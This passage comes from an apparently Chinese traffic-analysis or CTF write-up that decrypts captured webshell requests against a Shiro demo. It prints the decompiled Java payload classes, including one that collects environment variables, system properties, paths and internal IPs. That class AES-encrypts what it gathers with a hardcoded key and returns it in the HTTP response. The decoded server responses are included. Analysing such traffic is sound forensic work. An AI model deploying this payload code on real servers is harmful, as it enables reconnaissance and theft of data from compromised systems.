Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包，得到： {"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="} msg字段Base64解密得到：1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v，证明猜想正确。 接着继续解密并逆向第二个请求： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现是读取系统信息，返回值： {"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="} 对msgBase64解密得到： {"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="} 